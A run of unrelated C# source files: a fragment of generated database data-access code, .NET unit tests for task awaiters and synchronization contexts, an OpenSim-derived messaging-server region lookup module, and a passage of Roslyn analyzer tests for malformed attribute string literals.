ReadProperty(Level_1_1_1_1_1_Child_NameProperty)).DbType = DbType.String; var args = new DataPortalHookArgs(cmd); OnInsertPre(args); cmd.ExecuteNonQuery(); OnInsertPost(args); } } } /// <summary> /// Updates in the database all changes made to the <see cref="E09Level11111ReChild"/> object. /// </summary> /// <param name="parent">The parent object.</param> [Transactional(TransactionalTypes.TransactionScope)] private void Child_Update(E08Level1111 parent) { using (var ctx = ConnectionManager<SqlConnection>.GetManager("DeepLoad")) { using (var cmd = new SqlCommand("UpdateE09Level11111ReChild", ctx.Connection)) { cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@Level_1_1_1_1_ID", parent.Level_1_1_1_1_ID).DbType = DbType.Int32; cmd.Parameters.AddWithValue("@Level_1_1_1_1_1_Child_Name", ReadProperty(Level_1_1_1_1_1_Child_NameProperty)).DbType = DbType.String; var args = new DataPortalHookArgs(cmd); OnUpdatePre(args); cmd.ExecuteNonQuery(); OnUpdatePost(args); } } } /// <summary> /// Self deletes the <see cref="E09Level11111ReChild"/> object from database. /// </summary> /// <param name="parent">The parent object.</param> [Transactional(TransactionalTypes.TransactionScope)] private void Child_DeleteSelf(E08Level1111 parent) { using (var ctx = ConnectionManager<SqlConnection>.GetManager("DeepLoad")) { using (var cmd = new SqlCommand("DeleteE09Level11111ReChild", ctx.Connection)) { cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@Level_1_1_1_1_ID", parent.Level_1_1_1_1_ID).DbType = DbType.Int32; var args = new DataPortalHookArgs(cmd); OnDeletePre(args); cmd.ExecuteNonQuery(); OnDeletePost(args); } } } #endregion #region Pseudo Events /// <summary> /// Occurs after setting all defaults for object creation. /// </summary> partial void OnCreate(DataPortalHookArgs args); /// <summary> /// Occurs in DataPortal_Delete, after setting query parameters and before the delete operation. /// </summary> partial void OnDeletePre(DataPortalHookArgs args); /// <summary> /// Occurs in DataPortal_Delete, after the delete operation, before Commit(). /// </summary> partial void OnDeletePost(DataPortalHookArgs args); /// <summary> /// Occurs after setting query parameters and before the fetch operation. /// </summary> partial void OnFetchPre(DataPortalHookArgs args); /// <summary> /// Occurs after the fetch operation (object or collection is fully loaded and set up). /// </summary> partial void OnFetchPost(DataPortalHookArgs args); /// <summary> /// Occurs after the low level fetch operation, before the data reader is destroyed. /// </summary> partial void OnFetchRead(DataPortalHookArgs args); /// <summary> /// Occurs after setting query parameters and before the update operation. /// </summary> partial void OnUpdatePre(DataPortalHookArgs args); /// <summary> /// Occurs in DataPortal_Insert, after the update operation, before setting back row identifiers (RowVersion) and Commit(). /// </summary> partial void OnUpdatePost(DataPortalHookArgs args); /// <summary> /// Occurs in DataPortal_Insert, after setting query parameters and before the insert operation. /// </summary> partial void OnInsertPre(DataPortalHookArgs args); /// <summary> /// Occurs in DataPortal_Insert, after the insert operation, before setting back row identifiers (ID and RowVersion) and Commit(). /// </summary> partial void OnInsertPost(DataPortalHookArgs args); #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections; using System.Collections.Generic; using System.Runtime.CompilerServices; using Xunit; namespace System.Threading.Tasks.Tests { public class TaskAwaiterTests { [Theory] [InlineData(false, false)] [InlineData(false, true)] [InlineData(false, null)] [InlineData(true, false)] [InlineData(true, true)] [InlineData(true, null)] public static void OnCompleted_CompletesInAnotherSynchronizationContext(bool generic, bool? continueOnCapturedContext) { SynchronizationContext origCtx = SynchronizationContext.Current; try { // Create a context that tracks operations, and set it as current var validateCtx = new ValidateCorrectContextSynchronizationContext(); Assert.Equal(0, validateCtx.PostCount); SynchronizationContext.SetSynchronizationContext(validateCtx); // Create a not-completed task and get an awaiter for it var mres = new ManualResetEventSlim(); var tcs = new TaskCompletionSource<object>(); // Hook up a callback bool postedInContext = false; Action callback = () => { postedInContext = ValidateCorrectContextSynchronizationContext.t_isPostedInContext; mres.Set(); }; if (generic) { if (continueOnCapturedContext.HasValue) tcs.Task.ConfigureAwait(continueOnCapturedContext.Value).GetAwaiter().OnCompleted(callback); else tcs.Task.GetAwaiter().OnCompleted(callback); } else { if (continueOnCapturedContext.HasValue) ((Task)tcs.Task).ConfigureAwait(continueOnCapturedContext.Value).GetAwaiter().OnCompleted(callback); else ((Task)tcs.Task).GetAwaiter().OnCompleted(callback); } Assert.False(mres.IsSet, "Callback should not yet have run."); // Complete the task in another context and wait for the callback to run Task.Run(() => tcs.SetResult(null)); mres.Wait(); // Validate the callback ran and in the correct context bool shouldHavePosted = !continueOnCapturedContext.HasValue || continueOnCapturedContext.Value; Assert.Equal(shouldHavePosted ? 1 : 0, validateCtx.PostCount); Assert.Equal(shouldHavePosted, postedInContext); } finally { // Reset back to the original context SynchronizationContext.SetSynchronizationContext(origCtx); } } [Theory] [InlineData(false, false)] [InlineData(false, true)] [InlineData(false, null)] [InlineData(true, false)] [InlineData(true, true)] [InlineData(true, null)] public static void OnCompleted_CompletesInAnotherTaskScheduler(bool generic, bool? continueOnCapturedContext) { SynchronizationContext origCtx = SynchronizationContext.Current; try { SynchronizationContext.SetSynchronizationContext(null); // get off xunit's SynchronizationContext to avoid interactions with await var quwi = new QUWITaskScheduler(); RunWithSchedulerAsCurrent(quwi, delegate { Assert.True(TaskScheduler.Current == quwi, "Expected to be on target scheduler"); // Create the not completed task and get its awaiter var mres = new ManualResetEventSlim(); var tcs = new TaskCompletionSource<object>(); // Hook up the callback bool ranOnScheduler = false; Action callback = () => { ranOnScheduler = (TaskScheduler.Current == quwi); mres.Set(); }; if (generic) { if (continueOnCapturedContext.HasValue) tcs.Task.ConfigureAwait(continueOnCapturedContext.Value).GetAwaiter().OnCompleted(callback); else tcs.Task.GetAwaiter().OnCompleted(callback); } else { if (continueOnCapturedContext.HasValue) ((Task)tcs.Task).ConfigureAwait(continueOnCapturedContext.Value).GetAwaiter().OnCompleted(callback); else ((Task)tcs.Task).GetAwaiter().OnCompleted(callback); } Assert.False(mres.IsSet, "Callback should not yet have run."); // Complete the task in another scheduler and wait for the callback to run Task.Run(delegate { tcs.SetResult(null); }); mres.Wait(); // Validate the callback ran on the right scheduler bool shouldHaveRunOnScheduler = !continueOnCapturedContext.HasValue || continueOnCapturedContext.Value; Assert.Equal(shouldHaveRunOnScheduler, ranOnScheduler); }); } finally { SynchronizationContext.SetSynchronizationContext(origCtx); } } [Fact] public async Task Await_TaskCompletesOnNonDefaultSyncCtx_ContinuesOnDefaultSyncCtx() { await Task.Run(async delegate // escape xunit's sync context { Assert.Null(SynchronizationContext.Current); Assert.Same(TaskScheduler.Default, TaskScheduler.Current); var ctx = new ValidateCorrectContextSynchronizationContext(); var tcs = new TaskCompletionSource<bool>(); var ignored = Task.Delay(1).ContinueWith(_ => { SynchronizationContext orig = SynchronizationContext.Current; SynchronizationContext.SetSynchronizationContext(ctx); try { tcs.SetResult(true); } finally { SynchronizationContext.SetSynchronizationContext(orig); } }, TaskScheduler.Default); await tcs.Task; Assert.Null(SynchronizationContext.Current); Assert.Same(TaskScheduler.Default, TaskScheduler.Current); }); } [Fact] public async Task Await_TaskCompletesOnNonDefaultScheduler_ContinuesOnDefaultScheduler() { await Task.Run(async delegate // escape xunit's sync context { Assert.Null(SynchronizationContext.Current); Assert.Same(TaskScheduler.Default, TaskScheduler.Current); var tcs = new TaskCompletionSource<bool>(); var ignored = Task.Delay(1).ContinueWith(_ => tcs.SetResult(true), new QUWITaskScheduler()); await tcs.Task; Assert.Null(SynchronizationContext.Current); Assert.Same(TaskScheduler.Default, TaskScheduler.Current); }); } public static IEnumerable<object[]> Await_MultipleAwaits_FirstCompletesAccordingToOptions_RestCompleteAsynchronously_MemberData() { foreach (int numContinuations in new[] { 1, 2, 5 }) foreach (bool runContinuationsAsynchronously in new[] { false, true }) foreach (bool valueTask in new[] { false, true }) foreach (object scheduler in new object[] { null, new QUWITaskScheduler(), new ValidateCorrectContextSynchronizationContext() }) yield return new object[] { numContinuations, runContinuationsAsynchronously, valueTask, scheduler }; } [Theory] [MemberData(nameof(Await_MultipleAwaits_FirstCompletesAccordingToOptions_RestCompleteAsynchronously_MemberData))] public async Task Await_MultipleAwaits_FirstCompletesAccordingToOptions_RestCompleteAsynchronously( int numContinuations, bool runContinuationsAsynchronously, bool valueTask, object scheduler) { await Task.Factory.StartNew(async delegate { if (scheduler is SynchronizationContext sc) { SynchronizationContext.SetSynchronizationContext(sc); } var tcs = runContinuationsAsynchronously ? new TaskCompletionSource<bool>(TaskCreationOptions.RunContinuationsAsynchronously) : new TaskCompletionSource<bool>(); var tl = new ThreadLocal<int>(); var tasks = new List<Task>(); for (int i = 1; i <= numContinuations; i++) { bool expectedSync = i == 1 && !runContinuationsAsynchronously; tasks.Add(ThenAsync(tcs.Task, () => { Assert.Equal(expectedSync ? 42 : 0, tl.Value); switch (scheduler) { case null: Assert.Same(TaskScheduler.Default, TaskScheduler.Current); Assert.Null(SynchronizationContext.Current); break; case TaskScheduler ts: Assert.Same(ts, TaskScheduler.Current); Assert.Null(SynchronizationContext.Current); break; case SynchronizationContext sc: Assert.Same(sc, SynchronizationContext.Current); Assert.Same(TaskScheduler.Default, TaskScheduler.Current); break; } })); async Task ThenAsync(Task task, Action action) { if (valueTask) { await new ValueTask(task); } else { await task; } action(); } } Assert.All(tasks, t => Assert.Equal(TaskStatus.WaitingForActivation, t.Status)); tl.Value = 42; tcs.SetResult(true); tl.Value = 0; SynchronizationContext.SetSynchronizationContext(null); await Task.WhenAll(tasks); }, CancellationToken.None, TaskCreationOptions.None, scheduler as TaskScheduler ?? TaskScheduler.Default).Unwrap(); } [Fact] public static void GetResult_Completed_Success() { Task task = Task.CompletedTask; task.GetAwaiter().GetResult(); task.ConfigureAwait(false).GetAwaiter().GetResult(); task.ConfigureAwait(true).GetAwaiter().GetResult(); const string expectedResult = "42"; Task<string> taskOfString = Task.FromResult(expectedResult); Assert.Equal(expectedResult, taskOfString.GetAwaiter().GetResult()); Assert.Equal(expectedResult, taskOfString.ConfigureAwait(false).GetAwaiter().GetResult()); Assert.Equal(expectedResult, taskOfString.ConfigureAwait(true).GetAwaiter().GetResult()); } [OuterLoop] [Fact] public static void GetResult_NotCompleted_BlocksUntilCompletion() { var tcs = new TaskCompletionSource<bool>(); // Kick off tasks that should all block var tasks = new[] { Task.Run(() => tcs.Task.GetAwaiter().GetResult()), Task.Run(() => ((Task)tcs.Task).GetAwaiter().GetResult()), Task.Run(() => tcs.Task.ConfigureAwait(false).GetAwaiter().GetResult()), Task.Run(() => ((Task)tcs.Task).ConfigureAwait(false).GetAwaiter().GetResult()) }; Assert.Equal(-1, Task.WaitAny(tasks, 100)); // "Tasks should not have completed" // Now complete the tasks, after which all the tasks should complete successfully. tcs.SetResult(true); Task.WaitAll(tasks); } [Fact] public static void GetResult_CanceledTask_ThrowsCancellationException() { // Validate cancellation Task<string> canceled = Task.FromCanceled<string>(new CancellationToken(true)); // Task.GetAwaiter and Task<T>.GetAwaiter Assert.Throws<TaskCanceledException>(() => ((Task)canceled).GetAwaiter().GetResult()); Assert.Throws<TaskCanceledException>(() => canceled.GetAwaiter().GetResult()); // w/ ConfigureAwait false and true Assert.Throws<TaskCanceledException>(() => ((Task)canceled).ConfigureAwait(false).GetAwaiter().GetResult()); Assert.Throws<TaskCanceledException>(() => ((Task)canceled).ConfigureAwait(true).GetAwaiter().GetResult()); Assert.Throws<TaskCanceledException>(() => canceled.ConfigureAwait(false).GetAwaiter().GetResult()); Assert.Throws<TaskCanceledException>(() => canceled.ConfigureAwait(true).GetAwaiter().GetResult()); } [Fact] public static void GetResult_FaultedTask_OneException_ThrowsOriginalException() { var exception = new ArgumentException("uh oh"); Task<string> task = Task.FromException<string>(exception); // Task.GetAwaiter and Task<T>.GetAwaiter Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => ((Task)task).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => task.GetAwaiter().GetResult())); // w/ ConfigureAwait false and true Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => ((Task)task).ConfigureAwait(false).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => ((Task)task).ConfigureAwait(true).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => task.ConfigureAwait(false).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => task.ConfigureAwait(true).GetAwaiter().GetResult())); } [Fact] public static void GetResult_FaultedTask_MultipleExceptions_ThrowsFirstException() { var exception = new ArgumentException("uh oh"); var tcs = new TaskCompletionSource<string>(); tcs.SetException(new Exception[] { exception, new InvalidOperationException("uh oh") }); Task<string> task = tcs.Task; // Task.GetAwaiter and Task<T>.GetAwaiter Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => ((Task)task).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => task.GetAwaiter().GetResult())); // w/ ConfigureAwait false and true Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => ((Task)task).ConfigureAwait(false).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => ((Task)task).ConfigureAwait(true).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => task.ConfigureAwait(false).GetAwaiter().GetResult())); Assert.Same(exception, AssertExtensions.Throws<ArgumentException>(null, () => task.ConfigureAwait(true).GetAwaiter().GetResult())); } [Fact] public static void AwaiterAndAwaitableEquality() { var completed = new TaskCompletionSource<string>(); Task task = completed.Task; // TaskAwaiter task.GetAwaiter().Equals(task.GetAwaiter()); // ConfiguredTaskAwaitable Assert.Equal(task.ConfigureAwait(false), task.ConfigureAwait(false)); Assert.NotEqual(task.ConfigureAwait(false), task.ConfigureAwait(true)); Assert.NotEqual(task.ConfigureAwait(true), task.ConfigureAwait(false)); // ConfiguredTaskAwaitable<T> Assert.Equal(task.ConfigureAwait(false), task.ConfigureAwait(false)); Assert.NotEqual(task.ConfigureAwait(false), task.ConfigureAwait(true)); Assert.NotEqual(task.ConfigureAwait(true), task.ConfigureAwait(false)); // ConfiguredTaskAwaitable.ConfiguredTaskAwaiter Assert.Equal(task.ConfigureAwait(false).GetAwaiter(), task.ConfigureAwait(false).GetAwaiter()); Assert.NotEqual(task.ConfigureAwait(false).GetAwaiter(), task.ConfigureAwait(true).GetAwaiter()); Assert.NotEqual(task.ConfigureAwait(true).GetAwaiter(), task.ConfigureAwait(false).GetAwaiter()); // ConfiguredTaskAwaitable<T>.ConfiguredTaskAwaiter Assert.Equal(task.ConfigureAwait(false).GetAwaiter(), task.ConfigureAwait(false).GetAwaiter()); Assert.NotEqual(task.ConfigureAwait(false).GetAwaiter(), task.ConfigureAwait(true).GetAwaiter()); Assert.NotEqual(task.ConfigureAwait(true).GetAwaiter(), task.ConfigureAwait(false).GetAwaiter()); } [Fact] public static void BaseSynchronizationContext_SameAsNoSynchronizationContext() { var quwi = new QUWITaskScheduler(); SynchronizationContext origCtx = SynchronizationContext.Current; try { SynchronizationContext.SetSynchronizationContext(new SynchronizationContext()); RunWithSchedulerAsCurrent(quwi, delegate { ManualResetEventSlim mres = new ManualResetEventSlim(); var tcs = new TaskCompletionSource<object>(); var awaiter = ((Task)tcs.Task).GetAwaiter(); bool ranOnScheduler = false; bool ranWithoutSyncCtx = false; awaiter.OnCompleted(() => { ranOnScheduler = (TaskScheduler.Current == quwi); ranWithoutSyncCtx = SynchronizationContext.Current == null; mres.Set(); }); Assert.False(mres.IsSet, "Callback should not yet have run."); Task.Run(delegate { tcs.SetResult(null); }); mres.Wait(); Assert.True(ranOnScheduler, "Should have run on scheduler"); Assert.True(ranWithoutSyncCtx, "Should have run with a null sync ctx"); }); } finally { SynchronizationContext.SetSynchronizationContext(origCtx); } } [Theory] [MemberData(nameof(CanceledTasksAndExpectedCancellationExceptions))] public static void OperationCanceledException_PropagatesThroughCanceledTask(int lineNumber, Task task, OperationCanceledException expected) { var caught = Assert.ThrowsAny<OperationCanceledException>(() => task.GetAwaiter().GetResult()); Assert.Same(expected, caught); } public static IEnumerable<object[]> CanceledTasksAndExpectedCancellationExceptions() { var cts = new CancellationTokenSource(); var oce = new OperationCanceledException(cts.Token); // Scheduled Task Task<int> generic = Task.Run<int>(new Func<int>(() => { cts.Cancel(); throw oce; }), cts.Token); yield return new object[] { LineNumber(), generic, oce }; Task nonGeneric = generic; // WhenAll Task and Task<int> yield return new object[] { LineNumber(), Task.WhenAll(generic), oce }; yield return new object[] { LineNumber(), Task.WhenAll(generic, Task.FromResult(42)), oce }; yield return new object[] { LineNumber(), Task.WhenAll(Task.FromResult(42), generic), oce }; yield return new object[] { LineNumber(), Task.WhenAll(generic, generic, generic), oce }; yield return new object[] { LineNumber(), Task.WhenAll(nonGeneric), oce }; yield return new object[] { LineNumber(), Task.WhenAll(nonGeneric, Task.FromResult(42)), oce }; yield return new object[] { LineNumber(), Task.WhenAll(Task.FromResult(42), nonGeneric), oce }; yield return new object[] { LineNumber(), Task.WhenAll(nonGeneric, nonGeneric, nonGeneric), oce }; // Task.Run Task and Task<int> with unwrapping yield return new object[] { LineNumber(), Task.Run(() => generic), oce }; yield return new object[] { LineNumber(), Task.Run(() => nonGeneric), oce }; // A FromAsync Task and Task<int> yield return new object[] { LineNumber(), Task.Factory.FromAsync(generic, new Action<IAsyncResult>(ar => { throw oce; })), oce }; yield return new object[] { LineNumber(), Task<int>.Factory.FromAsync(nonGeneric, new Func<IAsyncResult, int>(ar => { throw oce; })), oce }; // AsyncTaskMethodBuilder var atmb = new AsyncTaskMethodBuilder(); atmb.SetException(oce); yield return new object[] { LineNumber(), atmb.Task, oce }; } private static int LineNumber([CallerLineNumber]int lineNumber = 0) => lineNumber; private class ValidateCorrectContextSynchronizationContext : SynchronizationContext { [ThreadStatic] internal static bool t_isPostedInContext; internal int PostCount; internal int SendCount; public override void Post(SendOrPostCallback d, object state) { Interlocked.Increment(ref PostCount); Task.Run(() => { SetSynchronizationContext(this); try { t_isPostedInContext = true; d(state); } finally { t_isPostedInContext = false; SetSynchronizationContext(null); } }); } public override void Send(SendOrPostCallback d, object state) { Interlocked.Increment(ref SendCount); d(state); } } /// <summary>A scheduler that queues to the TP and tracks the number of times QueueTask and TryExecuteTaskInline are invoked.</summary> private class QUWITaskScheduler : TaskScheduler { private int _queueTaskCount; private int _tryExecuteTaskInlineCount; public int QueueTaskCount { get { return _queueTaskCount; } } public int TryExecuteTaskInlineCount { get { return _tryExecuteTaskInlineCount; } } protected override IEnumerable<Task> GetScheduledTasks() { return null; } protected override void QueueTask(Task task) { Interlocked.Increment(ref _queueTaskCount); Task.Run(() => TryExecuteTask(task)); } protected override bool TryExecuteTaskInline(Task task, bool taskWasPreviouslyQueued) { Interlocked.Increment(ref _tryExecuteTaskInlineCount); return TryExecuteTask(task); } } /// <summary>Runs the action with TaskScheduler.Current equal to the specified scheduler.</summary> private static void RunWithSchedulerAsCurrent(TaskScheduler scheduler, Action action) { var t = new Task(action); t.RunSynchronously(scheduler); t.GetAwaiter().GetResult(); } } }
/* * Copyright (c) InWorldz Halcyon Developers * Copyright (c) Contributors, http://opensimulator.org/ * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSim Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections; using System.Collections.Generic; using System.Net; using System.Reflection; using System.Threading; using System.Timers; using log4net; using Nwc.XmlRpc; using OpenMetaverse; using OpenSim.Data; using OpenSim.Framework; using OpenSim.Grid.Framework; using Timer = System.Timers.Timer; namespace OpenSim.Grid.MessagingServer.Modules { public class MessageRegionModule : IMessageRegionLookup { private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private MessageServerConfig m_cfg; private IInterServiceUserService m_userServerModule; private IGridServiceCore m_messageCore; // a dictionary of all current regions this server knows about private Dictionary<ulong, RegionProfileData> m_regionInfoCache = new Dictionary<ulong, RegionProfileData>(); public MessageRegionModule(MessageServerConfig config, IGridServiceCore messageCore) { m_cfg = config; m_messageCore = messageCore; } public void Initialise() { m_messageCore.RegisterInterface<IMessageRegionLookup>(this); } public void PostInitialise() { IInterServiceUserService messageUserServer; if (m_messageCore.TryGet<IInterServiceUserService>(out messageUserServer)) { m_userServerModule = messageUserServer; } } public void RegisterHandlers() { //have these in separate method as some servers restart the http server and reregister all the handlers. } /// <summary> /// Gets and caches a RegionInfo object from the gridserver based on regionhandle /// if the regionhandle is already cached, use the cached values /// Gets called by lots of threads!!!!! /// </summary> /// <param name="regionhandle">handle to the XY of the region we're looking for</param> /// <returns>A RegionInfo object to stick in the presence info</returns> public RegionProfileData GetRegionInfo(ulong regionhandle) { RegionProfileData regionInfo = null; lock (m_regionInfoCache) { m_regionInfoCache.TryGetValue(regionhandle, out regionInfo); } if (regionInfo == null) // not found in cache { regionInfo = RequestRegionInfo(regionhandle); if (regionInfo != null) // lookup was successful { lock (m_regionInfoCache) { m_regionInfoCache[regionhandle] = regionInfo; } } } return regionInfo; } public int ClearRegionCache() { int cachecount = 0; lock (m_regionInfoCache) { cachecount = m_regionInfoCache.Count; m_regionInfoCache.Clear(); } return cachecount; } /// <summary> /// Get RegionProfileData from the GridServer. /// We'll cache this information in GetRegionInfo and use it for presence updates /// </summary> /// <param name="regionHandle"></param> /// <returns></returns> public RegionProfileData RequestRegionInfo(ulong regionHandle) { RegionProfileData regionProfile = null; try { Hashtable requestData = new Hashtable(); requestData["region_handle"] = regionHandle.ToString(); requestData["authkey"] = m_cfg.GridSendKey; ArrayList SendParams = new ArrayList(); SendParams.Add(requestData); string methodName = "simulator_data_request"; XmlRpcRequest GridReq = new XmlRpcRequest(methodName, SendParams); XmlRpcResponse GridResp = GridReq.Send(Util.XmlRpcRequestURI(m_cfg.GridServerURL, methodName), 3000); Hashtable responseData = (Hashtable)GridResp.Value; if (responseData.ContainsKey("error")) { m_log.Error("[GRID]: error received from grid server" + responseData["error"]); return null; } uint regX = Convert.ToUInt32((string)responseData["region_locx"]); uint regY = Convert.ToUInt32((string)responseData["region_locy"]); regionProfile = new RegionProfileData(); regionProfile.serverHostName = (string)responseData["sim_ip"]; regionProfile.serverPort = Convert.ToUInt16((string)responseData["sim_port"]); regionProfile.httpPort = (uint)Convert.ToInt32((string)responseData["http_port"]); regionProfile.regionHandle = Utils.UIntsToLong((regX * Constants.RegionSize), (regY * Constants.RegionSize)); regionProfile.regionLocX = regX; regionProfile.regionLocY = regY; regionProfile.remotingPort = Convert.ToUInt32((string)responseData["remoting_port"]); regionProfile.UUID = new UUID((string)responseData["region_UUID"]); regionProfile.regionName = (string)responseData["region_name"]; if (requestData.ContainsKey("product")) regionProfile.product = (ProductRulesUse)Convert.ToInt32(requestData["product"]); else regionProfile.product = ProductRulesUse.UnknownUse; if (requestData.ContainsKey("outside_ip")) regionProfile.OutsideIP = (string)responseData["outside_ip"]; } catch (WebException e) { m_log.ErrorFormat("[GRID]: Region lookup failed for {0}: {1} ", regionHandle.ToString(), e.Message); } return regionProfile; } public XmlRpcResponse RegionStartup(XmlRpcRequest request, IPEndPoint remoteClient) { Hashtable requestData = (Hashtable)request.Params[0]; Hashtable result = new Hashtable(); result["success"] = "FALSE"; if (m_userServerModule.SendToUserServer(requestData, "region_startup")) result["success"] = "TRUE"; XmlRpcResponse response = new XmlRpcResponse(); response.Value = result; return response; } public XmlRpcResponse RegionShutdown(XmlRpcRequest request, IPEndPoint remoteClient) { Hashtable requestData = (Hashtable)request.Params[0]; Hashtable result = new Hashtable(); result["success"] = "FALSE"; if (m_userServerModule.SendToUserServer(requestData, "region_shutdown")) result["success"] = "TRUE"; XmlRpcResponse response = new XmlRpcResponse(); response.Value = result; return response; } } }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System.Threading.Tasks; using Microsoft.CodeAnalysis.Testing; using Test.Utilities; using Xunit; using VerifyCS = Test.Utilities.CSharpCodeFixVerifier< Microsoft.NetCore.Analyzers.Runtime.AttributeStringLiteralsShouldParseCorrectlyAnalyzer, Microsoft.CodeAnalysis.Testing.EmptyCodeFixProvider>; using VerifyVB = Test.Utilities.VisualBasicCodeFixVerifier< Microsoft.NetCore.Analyzers.Runtime.AttributeStringLiteralsShouldParseCorrectlyAnalyzer, Microsoft.CodeAnalysis.Testing.EmptyCodeFixProvider>; namespace Microsoft.NetCore.Analyzers.Runtime.UnitTests { public class AttributeStringLiteralsShouldParseCorrectlyTests { [Fact] public async Task CA2243_BadAttributeStringLiterals_CSharp() { await VerifyCS.VerifyAnalyzerAsync(@" using System; public sealed class BadAttributeStringLiterals { private sealed class MyLiteralsAttribute : Attribute { private string m_url; private string m_version; private string m_guid; public MyLiteralsAttribute() { } public MyLiteralsAttribute(string url) { m_url = url; } public MyLiteralsAttribute(string url, int dummy1, string thisIsAVersion, int dummy2) { m_url = url; m_version = thisIsAVersion; if (dummy1 > dummy2) // just random stuff to use these arguments m_version = """"; } public string Url { get { return m_url; } set { m_url = value; } } public string Version { get { return m_version; } set { m_version = value; } } public string GUID { get { return m_guid; } set { m_guid = value; } } } [MyLiterals(GUID = ""bad-guid"")] private int x; public BadAttributeStringLiterals() { DoNothing(1); } [MyLiterals(Url = ""bad url"", Version = ""helloworld"")] private void DoNothing( [MyLiterals(""bad url"")] int y) { if (x > 0) DoNothing2(y); } [MyLiterals(""good/url"", 5, ""1.0.bad"", 5)] private void DoNothing2(int y) { this.x = y; } }", CA2243CSharpDefaultResultAt(25, 6, "BadAttributeStringLiterals.MyLiteralsAttribute", "BadAttributeStringLiterals.MyLiteralsAttribute.GUID", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(29, 6, "BadAttributeStringLiterals.MyLiteralsAttribute", "BadAttributeStringLiterals.MyLiteralsAttribute.Url", "bad url", "Uri"), CA2243CSharpDefaultResultAt(31, 6, "BadAttributeStringLiterals.MyLiteralsAttribute", "url", "bad url", "Uri")); } [Fact] public async Task CA2243_BadGuids_CSharp() { await VerifyCS.VerifyAnalyzerAsync(@" using System; [GuidAttribute(GUID = ""bad-guid"")] public class ClassWithBadlyFormattedNamedArgumentGuid { } [GuidAttribute(GUID = ""59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF"")] public class ClassWithTooManyDashesNamedArgumentGuid { } [GuidAttribute(GUID = ""{0xCA761232, 0xED421111111, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x11}}"")] public class ClassWithOverflowNamedArgumentGuid { } [GuidAttribute(GUID = """")] public class ClassWithEmptyNamedArgumentGuid { } [GuidAttribute(""bad-guid"")] public class ClassWithBadlyFormattedRequiredArgumentGuid { } [GuidAttribute(""59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF"")] public class ClassWithTooManyDashesRequiredArgumentGuid { } [GuidAttribute(""{0xCA761232, 0xED42, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x99999}}"")] public class ClassWithOverflowRequiredArgumentGuid { } [GuidAttribute("""")] public class ClassWithEmptyRequiredArgumentGuid { } [AttributeUsage(AttributeTargets.All, AllowMultiple = false)] public sealed class GuidAttribute : Attribute { private string m_guid; public GuidAttribute() { } public GuidAttribute(string ThisIsAGuid) { m_guid = ThisIsAGuid; } public string GUID { get { return m_guid; } set { m_guid = value; } } } ", CA2243CSharpDefaultResultAt(4, 2, "GuidAttribute", "GuidAttribute.GUID", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(9, 2, "GuidAttribute", "GuidAttribute.GUID", "59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF", "Guid"), CA2243CSharpDefaultResultAt(14, 2, "GuidAttribute", "GuidAttribute.GUID", "{0xCA761232, 0xED421111111, 0x11CE, {0xBA, 0xCD, 0x00, 0xAA, 0x00, 0x57, 0xB2, 0x11}}", "Guid"), CA2243CSharpEmptyResultAt(19, 2, "GuidAttribute", "GuidAttribute.GUID", "Guid"), CA2243CSharpDefaultResultAt(24, 2, "GuidAttribute", "ThisIsAGuid", "bad-guid", "Guid"), CA2243CSharpDefaultResultAt(29, 2, "GuidAttribute", "ThisIsAGuid", "59C91206-1BE9-4c54-A7EC-1941387E32DC-AFDF", "Guid"), CA2243CSharpDefaultResultAt(34, 2, "GuidAttribute", "ThisIsAGuid", "{0xCA761232, 0xED42, 